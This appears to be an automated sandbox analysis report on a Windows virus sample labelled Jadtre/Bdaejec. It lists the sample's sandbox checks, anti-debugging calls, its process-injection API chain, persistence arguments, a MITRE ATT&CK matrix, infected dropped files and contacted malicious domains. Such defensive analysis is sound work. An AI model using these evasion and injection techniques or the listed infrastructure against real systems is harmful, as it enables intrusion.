Source: RranN.exe, 00000001.00000002.1909569974.000000000141E000.00000004.00000020.00020000.00000000.sdmp, RranN.exe, 00000001.00000002.1909569974.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, RranN.exe, 00000001.00000003.1719165813.000000000146A000.00000004.00000020.00020000.00000000.sdmp, RranN.exe, 00000001.00000002.1909569974.000000000146A000.00000004.00000020.00020000.00000000.sdmp, RranN.exe, 00000001.00000003.1719066632.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, RranN.exe, 00000001.00000003.1719165813.000000000143A000.00000004.00000020.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000002.00000002.1742866355.0000000000926000.00000004.00000020.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000003.1789144785.00000000007C8000.00000004.00000020.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000002.2923670108.00000000007C8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.1.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000002.2925615977.0000000003460000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: <V V="VMWare, Inc." T="W" />
Source: Amcache.hve.1.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000002.00000002.1742866355.000000000090A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\tA
Source: Amcache.hve.1.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.1.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.1.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.1.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000011.00000002.1951562411.00000000005E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW[
Source: Amcache.hve.1.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.1.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.1.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.1.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.1.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.1.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.1.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.1.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.1.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: DESKTOP-AGET0TR-20231003-1258a.log.9.dr	Binary or memory string: 10/03/2023 12:58:23.129OFFICE~1 (0x1dec)0x1e20Telemetry EventbiyhqMediumSendEvent {"EventName": "Office.System.SystemHealthMetadataDeviceConsolidated", "Flags": 33777031581908737, "InternalSequenceNumber": 556, "Time": "2023-10-03T11:58:12Z", "Rule": "120600.4", "AriaTenantToken": "cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521", "Contract": "Office.Legacy.Metadata", "Data.ProcTypeText": "x64", "Data.ProcessorCount": 2, "Data.NumProcShareSingleCore": 1, "Data.NumProcShareSingleCache": 1, "Data.NumProcPhysCores": 2, "Data.ProcSpeedMHz": 2000, "Data.IsLaptop": false, "Data.IsTablet": false, "Data.RamMB": 4096, "Data.PowerPlatformRole": 1, "Data.SysVolSizeMB": 50000, "Data.DeviceManufacturer": "VMWare, Inc.", "Data.DeviceModel": "VMware20,1", "Data.DigitizerInfo": 0, "Data.SusClientId": "097C77FB-5D5D-4868-860B-09F4E5B50A53", "Data.WindowsSqmMachineId": "92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A", "Data.ComputerSystemProductUuidHash": "rC2kkStHpWGLvfAgmQZRz4w5ixE=", "Data.DeviceProcessorModel": "Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz", "Data.HasSpectreFix": true, "Data.BootDiskType": "SSD"}
Source: Amcache.hve.1.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.1.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.1.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.1.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.1.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000002.2923670108.0000000000737000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@
Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000002.2925615977.0000000003460000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: <V V="QEMU" T="W" />
Source: Amcache.hve.1.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	API call chain: ExitProcess graph end node	graph_0-34813
Source: C:\Users\user\AppData\Local\Temp\RranN.exe	API call chain: ExitProcess graph end node	graph_1-1027
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	API call chain: ExitProcess graph end node	graph_2-39071

Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe

Code function: 0_2_0219971C rdtsc

0_2_0219971C

Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe

Code function: 0_2_00406B7D IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

0_2_00406B7D

Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe

Code function: 2_2_0042A57A EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

2_2_0042A57A

Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe

0_2_00402F2C

Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 0_2_00500044 mov eax, dword ptr fs:[00000030h]	0_2_00500044
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 0_2_021980A3 push dword ptr fs:[00000030h]	0_2_021980A3
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 0_2_02230042 push dword ptr fs:[00000030h]	0_2_02230042
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 7_2_0080C0A3 push dword ptr fs:[00000030h]	7_2_0080C0A3
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 7_2_02240042 push dword ptr fs:[00000030h]	7_2_02240042
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 8_2_008F30A3 push dword ptr fs:[00000030h]	8_2_008F30A3
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 8_2_02280042 push dword ptr fs:[00000030h]	8_2_02280042

Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe

Code function: 2_2_004278D5 GetProcessHeap,

2_2_004278D5

Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 0_2_0040964F __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0040964F
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 0_2_0040574E SetUnhandledExceptionFilter,	0_2_0040574E
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 0_2_00406B7D IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00406B7D
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 0_2_00403D94 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00403D94
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 2_2_004329EC SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_004329EC
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 2_2_004329BB SetUnhandledExceptionFilter,	2_2_004329BB

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe

Code function: 0_2_02230110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,

0_2_02230110

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Memory written: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Memory written: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Memory written: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Memory written: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Memory written: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe base: 400000 value starts with: 4D5A

Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe

Code function: 2_2_00419F90 GetCurrentProcess,GetLastError,GetLastError,SetPriorityClass,GetLastError,GetModuleFileNameW,PathRemoveFileSpecW,GetCommandLineW,CommandLineToArgvW,lstrcpyW,lstrcmpW,lstrcmpW,lstrcpyW,lstrcpyW,lstrcmpW,lstrcmpW,GlobalFree,lstrcpyW,lstrcpyW,OpenProcess,WaitForSingleObject,CloseHandle,Sleep,GlobalFree,GetCurrentProcess,GetExitCodeProcess,TerminateProcess,CloseHandle,lstrcatW,GetVersion,lstrcpyW,lstrcatW,lstrcatW,_memset,ShellExecuteExW,CreateThread,lstrlenA,lstrcatW,_malloc,lstrcatW,_memset,lstrcatW,MultiByteToWideChar,lstrcatW,lstrlenW,CreateThread,WaitForSingleObject,CreateMutexA,CreateMutexA,lstrlenA,lstrcpyA,_memmove,_memmove,_memmove,GetUserNameW,GetMessageW,GetMessageW,DispatchMessageW,TranslateMessage,TranslateMessage,DispatchMessageW,GetMessageW,PostThreadMessageW,PeekMessageW,PostThreadMessageW,PeekMessageW,DispatchMessageW,PeekMessageW,WaitForSingleObject,PostThreadMessageW,PeekMessageW,DispatchMessageW,PeekMessageW,WaitForSingleObject,CloseHandle,

2_2_00419F90

Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Process created: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe "C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe"	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Process created: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe "C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Process created: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe "C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Process created: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe --Task	Jump to behavior
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Process created: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe "C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe" --AutoStart
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Process created: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe "C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe" --AutoStart

Source: SciTE.exe.1.dr

Binary or memory string: Ctrl+RightLeftDownUpDecimalMinusMultiplyDivideTabSpaceDeleteEscapeEndInsertEnterHomeForwardBackwardPLAT_WIN1PageDownPageUpMenuWinSciTEACCELSSciTEWindowContentSciTEWindowPLAT_WINNT1toolbar.largecreate.hidden.consolegbkbig5euc-krshift_jisutf-8asciilatin2latin1translation.encodingwindows-1251ScaleFactoriso-8859-5cyrillic1250iso8859-11SciTE_HOMEAppsUseLightThemeSciTE_USERHOMESciTE_HOMEPropertiesScaleFactorSoftware\Microsoft\Windows\CurrentVersion\Themes\PersonalizeEmbeddedRich Text FormatButtonShell_TrayWndUSERPROFILESciTE_HOMEHtmlHelpWHHCTRL.OCX

Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe

Code function: 0_2_022580F6 cpuid

0_2_022580F6

Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: GetLocaleInfoA,	0_2_00409812
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	0_2_02270AB6
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: _LcidFromHexString,GetLocaleInfoW,_TestDefaultLanguage,	2_2_00438178
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	2_2_00440116
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: _wcscmp,_wcscmp,GetLocaleInfoW,GetLocaleInfoW,GetACP,	2_2_004382A2
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,	2_2_0043834F
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: _memset,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_GetLcidFromCountry,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,___crtDownlevelLCIDToLocaleName,___crtDownlevelLCIDToLocaleName,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,__itow_s,	2_2_00438423
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: EnumSystemLocalesW,	2_2_004387C8
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: GetLocaleInfoW,	2_2_0043884E
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: _TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_GetLocaleNameFromDefault,IsValidCodePage,_wcschr,_wcschr,__itow_s,_LcidFromHexString,GetLocaleInfoW,	2_2_00437BB3
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: EnumSystemLocalesW,	2_2_00437E27
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	2_2_00437E83
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	2_2_00437F00
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: _LcidFromHexString,GetLocaleInfoW,GetLocaleInfoW,__wcsnicmp,GetLocaleInfoW,_TestDefaultLanguage,	2_2_00437F83
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	7_2_02280AB6
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	8_2_022C0AB6

Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe

Code function: 0_2_00406ADF GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

0_2_00406ADF

Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe

2_2_00419F90

Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe

Code function: 2_2_0042FE47 __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

2_2_0042FE47

Source: C:\Users\user\AppData\Local\Temp\RranN.exe

Code function: 1_2_00B4139F GetVersionExA,LookupPrivilegeValueA,GetCurrentProcessId,

1_2_00B4139F

Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: Amcache.hve.1.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.1.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.1.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.1.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected Bdaejec

Source: Yara match

File source: Process Memory Space: RranN.exe PID: 6104, type: MEMORYSTR

Remote Access Functionality

Yara detected Bdaejec

Source: Yara match

File source: Process Memory Space: RranN.exe PID: 6104, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	3 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Deobfuscate/Decode Files or Information	11 Input Capture	12 System Time Discovery	1 Taint Shared Content	11 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	2 Data Encrypted for Impact
Credentials	Domains	Default Accounts	3 Command and Scripting Interpreter	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	3 Obfuscated Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	1 Screen Capture	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Services File Permissions Weakness	1 Access Token Manipulation	22 Software Packing	Security Account Manager	4 File and Directory Discovery	SMB/Windows Admin Shares	11 Input Capture	11 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	212 Process Injection	1 DLL Side-Loading	NTDS	24 System Information Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Registry Run Keys / Startup Folder	1 Masquerading	LSA Secrets	151 Security Software Discovery	SSH	Keylogging	113 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 Services File Permissions Weakness	21 Virtualization/Sandbox Evasion	Cached Domain Credentials	21 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Access Token Manipulation	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	212 Process Injection	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Services File Permissions Weakness	/etc/passwd and /etc/shadow	1 System Network Configuration Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	96%	ReversingLabs	Win32.Virus.Jadtre
A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	86%	Virustotal		Browse
A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	100%	Avira	W32/Jadtre.B
A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	100%	Avira	W32/Jadtre.B
C:\Users\user\AppData\Local\Temp\tmp431A.tmp	100%	Avira	W32/Jadtre.D
C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	100%	Avira	W32/Jadtre.B
C:\Program Files\7-Zip\Uninstall.exe	100%	Avira	W32/Jadtre.B
C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	100%	Avira	W32/Jadtre.B
C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	100%	Joe Sandbox ML
C:\Program Files\7-Zip\Uninstall.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	96%	ReversingLabs	Win32.Virus.Jadtre

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
ddos.dnsnb8.net	13%	Virustotal	Browse
fuyt.org	15%	Virustotal	Browse
api.2ip.ua	6%	Virustotal	Browse
zerit.top	13%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
http://www.scintilla.org/scite.rng	0%	URL Reputation	safe
http://www.scintilla.org/scite.rng	0%	URL Reputation	safe
http://www.activestate.comHolger	0%	URL Reputation	safe
http://www.baanboard.comBrendon	0%	URL Reputation	safe
